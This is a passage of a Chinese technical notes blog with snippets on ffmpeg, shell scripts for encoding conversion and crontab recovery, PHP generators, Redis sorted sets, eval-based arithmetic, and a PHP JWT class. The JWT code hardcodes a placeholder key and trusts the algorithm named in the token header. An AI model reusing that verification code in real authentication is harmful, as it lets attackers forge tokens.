class="comment">/*Array</span></span><br><span class="line"><span class="comment">(</span></span><br><span class="line"><span class="comment">    [0] =&gt; string1</span></span><br><span class="line"><span class="comment">    [1] =&gt; string2</span></span><br><span class="line"><span class="comment">    [2] =&gt; string1</span></span><br><span class="line"><span class="comment">    [3] =&gt; string2</span></span><br><span class="line"><span class="comment">    [4] =&gt; teststring</span></span><br><span class="line"><span class="comment">)*/</span></span><br></pre></td></tr></table></figure>
<h3 id="ffmpeg"><a href="#ffmpeg" class="headerlink" title="ffmpeg"></a>ffmpeg</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">yum install ffmpeg</span><br><span class="line"></span><br><span class="line">自动批量合并视频文件https:<span class="comment">//github.com/kashu/merge.videos https://www.5yun.org/8224.html</span></span><br><span class="line">ffmpeg -i <span class="string">"工程师的痛只有工程师能懂_高清-XNzE1NTk3Mzky_part1.flv"</span> -c copy -bsf:v h264_mp4toannexb -f mpegts <span class="number">1.</span>ts</span><br><span class="line">ffmpeg -i <span class="string">"工程师的痛只有工程师能懂_高清-XNzE1NTk3Mzky_part2.flv"</span> -c copy -bsf:v h264_mp4toannexb -f mpegts <span class="number">2.</span>ts</span><br><span class="line">ffmpeg -i <span class="string">"concat:1.ts|2.ts"</span> -c copy -bsf:a aac_adtstoasc <span class="string">"工程师的痛只有工程师能懂.mp4"</span></span><br></pre></td></tr></table></figure>
<h3 id="1752年9月2日的后面竟然是14日"><a href="#1752年9月2日的后面竟然是14日" class="headerlink" title="1752年9月2日的后面竟然是14日"></a>1752年9月2日的后面竟然是14日</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">[root@su ~]# cal 9 1752</span><br><span class="line">   September <span class="number">1752</span></span><br><span class="line">Su Mo Tu We Th Fr Sa</span><br><span class="line">       <span class="number">1</span>  <span class="number">2</span> <span class="number">14</span> <span class="number">15</span> <span class="number">16</span></span><br><span class="line"><span class="number">17</span> <span class="number">18</span> <span class="number">19</span> <span class="number">20</span> <span class="number">21</span> <span class="number">22</span> <span class="number">23</span></span><br><span class="line"><span class="number">24</span> <span class="number">25</span> <span class="number">26</span> <span class="number">27</span> <span class="number">28</span> <span class="number">29</span> <span class="number">30</span></span><br><span class="line">https:<span class="comment">//tonydeng.github.io/2006/03/28/A-Linux-command-a-human-civilization/</span></span><br></pre></td></tr></table></figure>
<h3 id="批量转换文件编码"><a href="#批量转换文件编码" class="headerlink" title="批量转换文件编码"></a>批量转换文件编码</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#!/bin/bash</span></span><br><span class="line">DIR=$1 # 转换编码文件目录</span><br><span class="line">FT=$2  # 需要转换的文件类型（扩展名）</span><br><span class="line">SE=$3  # 原始编码</span><br><span class="line">DE=$4  # 目标编码</span><br><span class="line"><span class="keyword">for</span> file <span class="keyword">in</span> <span class="string">`find $DIR -type f -name "*.$FT"`</span>; <span class="keyword">do</span></span><br><span class="line">	echo <span class="string">"conversion $file encoding $SE to $DE"</span></span><br><span class="line">    iconv -f $SE -t $DE <span class="string">"$file"</span> &gt; <span class="string">"$file"</span>.tmp</span><br><span class="line">    mv -f <span class="string">"$file"</span>.tmp <span class="string">"$file"</span></span><br><span class="line">done</span><br><span class="line">该脚本已经提交到github上。https:<span class="comment">//github.com/tonydeng/note/blob/1594ae267114effa910ff2511176d3dbf7968471/sh/batch_conversion_encoding.sh</span></span><br><span class="line"></span><br><span class="line">调用方式</span><br><span class="line">➜  ~ ./batch_conversion_encoding.sh ~<span class="regexp">/sdk1 java GBK UTF8</span></span><br></pre></td></tr></table></figure>
<h3 id="crontab-任务误删恢复"><a href="#crontab-任务误删恢复" class="headerlink" title="crontab 任务误删恢复"></a>crontab 任务误删恢复</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">cat /<span class="keyword">var</span>/log/cron* | grep CMD | awk -F<span class="string">'CMD'</span> <span class="string">'&#123;print $2&#125;'</span> | awk -F<span class="string">'[(|)]'</span> <span class="string">'&#123;print $2&#125;'</span> | sort -u</span><br><span class="line">backup_crontab.sh</span><br><span class="line"><span class="meta">#!/usr/bin/env bash</span></span><br><span class="line">#https://liam.page/2017/11/30/recovery-crontab-tasks/</span><br><span class="line">BACKUP_DIRECTORY=<span class="string">"$&#123;HOME&#125;/crontab_backup"</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> [ ! -e <span class="string">"$&#123;BACKUP_DIRECTORY&#125;"</span> ]; then</span><br><span class="line">        mkdir -p $&#123;BACKUP_DIRECTORY&#125;</span><br><span class="line">fi</span><br><span class="line"></span><br><span class="line">crontab -l &gt; $&#123;BACKUP_DIRECTORY&#125;/$(date <span class="string">'+%Y%m%d'</span>).txt</span><br></pre></td></tr></table></figure>
<h3 id="php-yield"><a href="#php-yield" class="headerlink" title="php yield"></a>php yield</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">getValues</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="string">'value'</span>;</span><br><span class="line">&#125;</span><br><span class="line">var_dump(getValues()); <span class="comment">// string(5) "value"</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">getValues</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">    <span class="keyword">yield</span> <span class="string">'value'</span>;</span><br><span class="line">&#125;</span><br><span class="line">var_dump(getValues()); <span class="comment">// class Generator#1 (0) &#123;&#125;</span></span><br><span class="line">一个生成器允许你使用循环来迭代一组数据，而不需要在内存中创建是一个数组，这可能会导致你超出内存限制。</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">getValues</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">   <span class="comment">// 获取内存使用数据</span></span><br><span class="line">   echo round(memory_get_usage() / <span class="number">1024</span> / <span class="number">1024</span>, <span class="number">2</span>) . <span class="string">' MB'</span> . PHP_EOL;</span><br><span class="line">   <span class="keyword">for</span> ($i = <span class="number">1</span>; $i &lt; <span class="number">800000</span>; $i++) &#123;</span><br><span class="line">      <span class="keyword">yield</span> $i;</span><br><span class="line">      <span class="comment">// 做性能分析，因此可测量内存使用率</span></span><br><span class="line">      <span class="keyword">if</span> (($i % <span class="number">200000</span>) == <span class="number">0</span>) &#123;</span><br><span class="line">         <span class="comment">// 内存使用以 MB 为单位</span></span><br><span class="line">         echo round(memory_get_usage() / <span class="number">1024</span> / <span class="number">1024</span>, <span class="number">2</span>) . <span class="string">' MB'</span>. PHP_EOL;</span><br><span class="line">      &#125;</span><br><span class="line">   &#125;</span><br><span class="line">&#125;</span><br><span class="line">$myValues = getValues(); <span class="comment">// 在循环之前都不会有动作</span></span><br><span class="line">foreach ($myValues <span class="keyword">as</span> $value) &#123;&#125; <span class="comment">// 开始生成数据https://learnku.com/laravel/t/8704/using-yield-to-do-memory-optimization-in-php </span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">getValues</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">   <span class="keyword">yield</span> <span class="string">'value'</span>;</span><br><span class="line">   <span class="keyword">return</span> <span class="string">'returnValue'</span>;</span><br><span class="line">&#125;</span><br><span class="line">$values = getValues();</span><br><span class="line">foreach ($values <span class="keyword">as</span> $value) &#123;&#125;</span><br><span class="line">echo $values-&gt;getReturn(); <span class="comment">// 'returnValue'</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">getValues</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">   <span class="keyword">yield</span> <span class="string">'key'</span> =&gt; <span class="string">'value'</span>;</span><br><span class="line">&#125;</span><br><span class="line">$values = getValues();</span><br><span class="line">foreach ($values <span class="keyword">as</span> $key =&gt; $value) &#123;</span><br><span class="line">   echo $key . <span class="string">' =&gt; '</span> . $value;</span><br><span class="line">&#125;</span><br><span class="line">使用 $ret = Generator::getReturn() 方法。</span><br><span class="line">使用 $ret = <span class="keyword">yield</span> <span class="keyword">from</span> Generator() 表达式</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">echoTimes</span>(<span class="params">$msg, $max</span>) </span>&#123;</span><br><span class="line">    <span class="keyword">for</span> ($i = <span class="number">1</span>; $i &lt;= $max; ++$i) &#123;</span><br><span class="line">        echo <span class="string">"$msg iteration $i\n"</span>;</span><br><span class="line">        <span class="keyword">yield</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="string">"$msg the end value : $i\n"</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">task</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">    $end = <span class="keyword">yield</span> <span class="keyword">from</span> echoTimes(<span class="string">'foo'</span>, <span class="number">10</span>);</span><br><span class="line">    echo $end;</span><br><span class="line">    $gen = echoTimes(<span class="string">'bar'</span>, <span class="number">5</span>);</span><br><span class="line">    <span class="keyword">yield</span> <span class="keyword">from</span> $gen;</span><br><span class="line">    echo $gen-&gt;getReturn();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">foreach (task() <span class="keyword">as</span> $item) &#123;</span><br><span class="line">    ;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="Redis技巧-Sorted-Set使用"><a href="#Redis技巧-Sorted-Set使用" class="headerlink" title="Redis技巧:Sorted Set使用"></a>Redis技巧:Sorted Set使用</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span>:<span class="number">6379</span>&gt; ZADD mid_test <span class="number">70</span> <span class="string">"Li Lei"</span></span><br><span class="line">(integer) <span class="number">1</span></span><br><span class="line"><span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span>:<span class="number">6379</span>&gt; ZADD mid_test <span class="number">70</span> <span class="string">"Han Meimei"</span></span><br><span class="line">(integer) <span class="number">1</span></span><br><span class="line"><span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span>:<span class="number">6379</span>&gt; ZADD mid_test <span class="number">99.5</span> <span class="string">"Tom"</span></span><br><span class="line">(integer) <span class="number">1</span></span><br><span class="line"><span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span>:<span class="number">6379</span>&gt;  ZADD fin_test <span class="number">88</span> <span class="string">"Li Lei"</span></span><br><span class="line">(integer) <span class="number">1</span></span><br><span class="line"><span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span>:<span class="number">6379</span>&gt;  ZADD fin_test <span class="number">75</span> <span class="string">"Han Meimei"</span></span><br><span class="line">(integer) <span class="number">1</span></span><br><span class="line"><span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span>:<span class="number">6379</span>&gt; ZADD fin_test <span class="number">99.5</span> <span class="string">"Tom"</span></span><br><span class="line">(integer) <span class="number">1</span></span><br><span class="line"><span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span>:<span class="number">6379</span>&gt; ZADD fin_test <span class="number">100</span> <span class="string">"Jerry"</span></span><br><span class="line">(integer) <span class="number">1</span></span><br><span class="line"><span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span>:<span class="number">6379</span>&gt;  ZINTERSTORE sum_point <span class="number">2</span> mid_test fin_test</span><br><span class="line">(integer) <span class="number">3</span></span><br><span class="line"><span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span>:<span class="number">6379</span>&gt; ZREVRANGE sum_point <span class="number">0</span> <span class="number">-1</span> WITHSCORES</span><br><span class="line"><span class="number">1</span>) <span class="string">"Tom"</span></span><br><span class="line"><span class="number">2</span>) <span class="string">"199"</span></span><br><span class="line"><span class="number">3</span>) <span class="string">"Li Lei"</span></span><br><span class="line"><span class="number">4</span>) <span class="string">"158"</span></span><br><span class="line"><span class="number">5</span>) <span class="string">"Han Meimei"</span></span><br><span class="line"><span class="number">6</span>) <span class="string">"145"</span></span><br><span class="line">老师要按期中考试和期末考试的总成绩来排座位，就对mid_test和fin_test做了个交集  结果显示了学生的总成绩。 但结果中没有新来的Jerry同学（尽管TA考了<span class="number">100</span>分）。这是坑一。</span><br><span class="line">ZINTERSTORE取所有集合的交集。以两个集合A和B为例，要取交集C，是这样的逻辑：</span><br><span class="line"></span><br><span class="line">A和B中共有的member，会加入到C中，其score等于A、B中score之和。</span><br><span class="line">不同时在A和B的member，不会加到C中。</span><br><span class="line"></span><br><span class="line">ZUNIONSTORE计算所有集合的并集。以两个集合A和B为例，要取并集C，是这样的逻辑：</span><br><span class="line"></span><br><span class="line">A的所有member会加到C中，其score与A中相等</span><br><span class="line">B的所有member会加到C中，其score与B中相等</span><br><span class="line">A和B中共有的member，其score等于A、B中score之和。</span><br><span class="line">因为ZINTERSTORE和ZUNIONSTORE有个参数为AGGREGATE，表示结果集的聚合方式，可取SUM、MIN、MAX其中之一。默认值为SUM。</span><br><span class="line"></span><br><span class="line">所以不指定聚合方式时，缺省值为SUM，即求和。http:<span class="comment">//blog.text.wiki/2015/11/01/redis-zunionstore-tip.html </span></span><br><span class="line"> <span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span>:<span class="number">6379</span>&gt; zadd programmer <span class="number">2000</span> peter</span><br><span class="line">  (integer) <span class="number">1</span></span><br><span class="line">  <span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span>:<span class="number">6379</span>&gt; zadd programmer <span class="number">3500</span> jack</span><br><span class="line">  (integer) <span class="number">1</span></span><br><span class="line">  <span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span>:<span class="number">6379</span>&gt; zadd programmer <span class="number">5000</span> tom</span><br><span class="line">  (integer) <span class="number">1</span></span><br><span class="line">  </span><br><span class="line">    <span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span>:<span class="number">6379</span>&gt; zadd manager <span class="number">2000</span> herry</span><br><span class="line">    (integer) <span class="number">1</span></span><br><span class="line">    <span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span>:<span class="number">6379</span>&gt; zadd manager <span class="number">3500</span> mary</span><br><span class="line">    (integer) <span class="number">1</span></span><br><span class="line">    <span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span>:<span class="number">6379</span>&gt; zadd manager <span class="number">4000</span> tom</span><br><span class="line">    (integer) <span class="number">1</span></span><br><span class="line">      <span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span>:<span class="number">6379</span>&gt; zunionstore salary <span class="number">2</span> programmer manager</span><br><span class="line">      (integer) <span class="number">5</span></span><br><span class="line">      <span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span>:<span class="number">6379</span>&gt; zrange salary <span class="number">0</span> <span class="number">-1</span> withscores</span><br><span class="line">       <span class="number">1</span>) <span class="string">"herry"</span></span><br><span class="line">       <span class="number">2</span>) <span class="string">"2000"</span></span><br><span class="line">       <span class="number">3</span>) <span class="string">"peter"</span></span><br><span class="line">       <span class="number">4</span>) <span class="string">"2000"</span></span><br><span class="line">       <span class="number">5</span>) <span class="string">"jack"</span></span><br><span class="line">       <span class="number">6</span>) <span class="string">"3500"</span></span><br><span class="line">       <span class="number">7</span>) <span class="string">"mary"</span></span><br><span class="line">       <span class="number">8</span>) <span class="string">"3500"</span></span><br><span class="line">       <span class="number">9</span>) <span class="string">"tom"</span></span><br><span class="line">      <span class="number">10</span>) <span class="string">"9000"</span></span><br></pre></td></tr></table></figure>
<h3 id="字符串算术表达式计算"><a href="#字符串算术表达式计算" class="headerlink" title="字符串算术表达式计算"></a>字符串算术表达式计算</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">$aa = <span class="string">"&#123;1&#125;*&#123;2&#125;-&#123;3&#125;"</span>;  </span><br><span class="line">$farr = array(<span class="string">'/\&#123;1\&#125;/'</span>,<span class="string">'/\&#123;2\&#125;/'</span>,<span class="string">'/\&#123;3\&#125;/'</span>);  </span><br><span class="line">$tarr = array(<span class="number">3</span>,<span class="number">4</span>,<span class="number">10</span>);  </span><br><span class="line">$str = preg_replace( $farr,$tarr,$aa);  </span><br><span class="line">echo $str;        <span class="comment">//结果：3*4-10  </span></span><br><span class="line">echo <span class="built_in">eval</span>(<span class="string">'return '</span>.$str.<span class="string">';'</span>);   <span class="comment">//结果:2</span></span><br></pre></td></tr></table></figure>
<h3 id="jwt-用户身份认证"><a href="#jwt-用户身份认证" class="headerlink" title="jwt 用户身份认证"></a>jwt 用户身份认证</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">JwtBase</span> </span>&#123;</span><br><span class="line">    <span class="comment">//头部</span></span><br><span class="line">    private <span class="keyword">static</span> $header=array(</span><br><span class="line">        <span class="string">'alg'</span>=&gt;<span class="string">'HS256'</span>, <span class="comment">//生成signature的算法</span></span><br><span class="line">        <span class="string">'typ'</span>=&gt;<span class="string">'JWT'</span>  <span class="comment">//类型</span></span><br><span class="line">    );</span><br><span class="line">    <span class="comment">//使用HMAC生成信息摘要时所使用的密钥</span></span><br><span class="line">    private <span class="keyword">static</span> $key=<span class="string">'KEY'</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 获取jwt token</span></span><br><span class="line"><span class="comment">     * @param array $payload jwt载荷  格式如下非必须</span></span><br><span class="line"><span class="comment">     * [</span></span><br><span class="line"><span class="comment">     * 'iss'=&gt;'jwt_admin', //该JWT的签发者</span></span><br><span class="line"><span class="comment">     * 'iat'=&gt;time(), //签发时间</span></span><br><span class="line"><span class="comment">     * 'exp'=&gt;time()+7200, //过期时间</span></span><br><span class="line"><span class="comment">     * 'nbf'=&gt;time()+60, //该时间之前不接收处理该Token</span></span><br><span class="line"><span class="comment">     * 'sub'=&gt;'www.admin.com', //面向的用户</span></span><br><span class="line"><span class="comment">     * 'jti'=&gt;md5(uniqid('JWT').time()) //该Token唯一标识</span></span><br><span class="line"><span class="comment">     * ]</span></span><br><span class="line"><span class="comment">     * @return bool|string</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    public <span class="keyword">static</span> <span class="function"><span class="keyword">function</span> <span class="title">getToken</span>(<span class="params">array $payload</span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        $arr = [</span><br><span class="line">            <span class="string">'iss'</span>=&gt;<span class="string">'yamecent'</span>, <span class="comment">//该JWT的签发者</span></span><br><span class="line">            <span class="string">'iat'</span>=&gt;time(), <span class="comment">//签发时间</span></span><br><span class="line">            <span class="string">'exp'</span>=&gt;time()+<span class="number">3600</span>*<span class="number">24</span>*<span class="number">15</span>, <span class="comment">//过期时间</span></span><br><span class="line">            <span class="string">'nbf'</span>=&gt;time(), <span class="comment">//该时间之前不接收处理该Token</span></span><br><span class="line">            <span class="string">'sub'</span>=&gt;<span class="string">''</span>, <span class="comment">//面向的用户</span></span><br><span class="line">            <span class="string">'jti'</span>=&gt;md5(uniqid(<span class="string">'JWT'</span>).time()) <span class="comment">//该Token唯一标识</span></span><br><span class="line">        ];</span><br><span class="line">        $payload = array_merge($arr,$payload);</span><br><span class="line">        <span class="keyword">if</span>(is_array($payload))</span><br><span class="line">        &#123;</span><br><span class="line">            $base64header=self::base64UrlEncode(json_encode(self::$header,JSON_UNESCAPED_UNICODE));</span><br><span class="line">            $base64payload=self::base64UrlEncode(json_encode($payload,JSON_UNESCAPED_UNICODE));</span><br><span class="line">            $token=$base64header.<span class="string">'.'</span>.$base64payload.<span class="string">'.'</span>.self::signature($base64header.<span class="string">'.'</span>.$base64payload,<span class="attr">self</span>::$key,<span class="attr">self</span>::$header[<span class="string">'alg'</span>]);</span><br><span class="line">            <span class="keyword">return</span> $token;</span><br><span class="line">        &#125;<span class="keyword">else</span>&#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 验证token是否有效,默认验证exp,nbf,iat时间</span></span><br><span class="line"><span class="comment">     * @param string $Token 需要验证的token</span></span><br><span class="line"><span class="comment">     * @return bool|string</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    public <span class="keyword">static</span> <span class="function"><span class="keyword">function</span> <span class="title">verifyToken</span>(<span class="params">string $Token</span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        $tokens = explode(<span class="string">'.'</span>, $Token);</span><br><span class="line">        <span class="keyword">if</span> (count($tokens) != <span class="number">3</span>)</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"></span><br><span class="line">        list($base64header, $base64payload, $sign) = $tokens;</span><br><span class="line"></span><br><span class="line">        <span class="comment">//获取jwt算法</span></span><br><span class="line">        $base64decodeheader = json_decode(self::base64UrlDecode($base64header), JSON_OBJECT_AS_ARRAY);</span><br><span class="line">        <span class="keyword">if</span> (empty($base64decodeheader[<span class="string">'alg'</span>]))</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"></span><br><span class="line">        <span class="comment">//签名验证</span></span><br><span class="line">        <span class="keyword">if</span> (self::signature($base64header . <span class="string">'.'</span> . $base64payload, <span class="attr">self</span>::$key, $base64decodeheader[<span class="string">'alg'</span>]) !== $sign)</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"></span><br><span class="line">        $payload = json_decode(self::base64UrlDecode($base64payload), JSON_OBJECT_AS_ARRAY);</span><br><span class="line"></span><br><span class="line">        <span class="comment">//签发时间大于当前服务器时间验证失败</span></span><br><span class="line">        <span class="keyword">if</span> (isset($payload[<span class="string">'iat'</span>]) &amp;&amp; $payload[<span class="string">'iat'</span>] &gt; time())</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"></span><br><span class="line">        <span class="comment">//过期时间小宇当前服务器时间验证失败</span></span><br><span class="line">        <span class="keyword">if</span> (isset($payload[<span class="string">'exp'</span>]) &amp;&amp; $payload[<span class="string">'exp'</span>] &lt; time())</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"></span><br><span class="line">        <span class="comment">//该nbf时间之前不接收处理该Token</span></span><br><span class="line">        <span class="keyword">if</span> (isset($payload[<span class="string">'nbf'</span>]) &amp;&amp; $payload[<span class="string">'nbf'</span>] &gt; time())</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> $payload;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * base64UrlEncode  https://jwt.io/ 中base64UrlEncode编码实现</span></span><br><span class="line"><span class="comment">     * @param string $input 需要编码的字符串</span></span><br><span class="line"><span class="comment">     * @return string</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    private <span class="keyword">static</span> <span class="function"><span class="keyword">function</span> <span 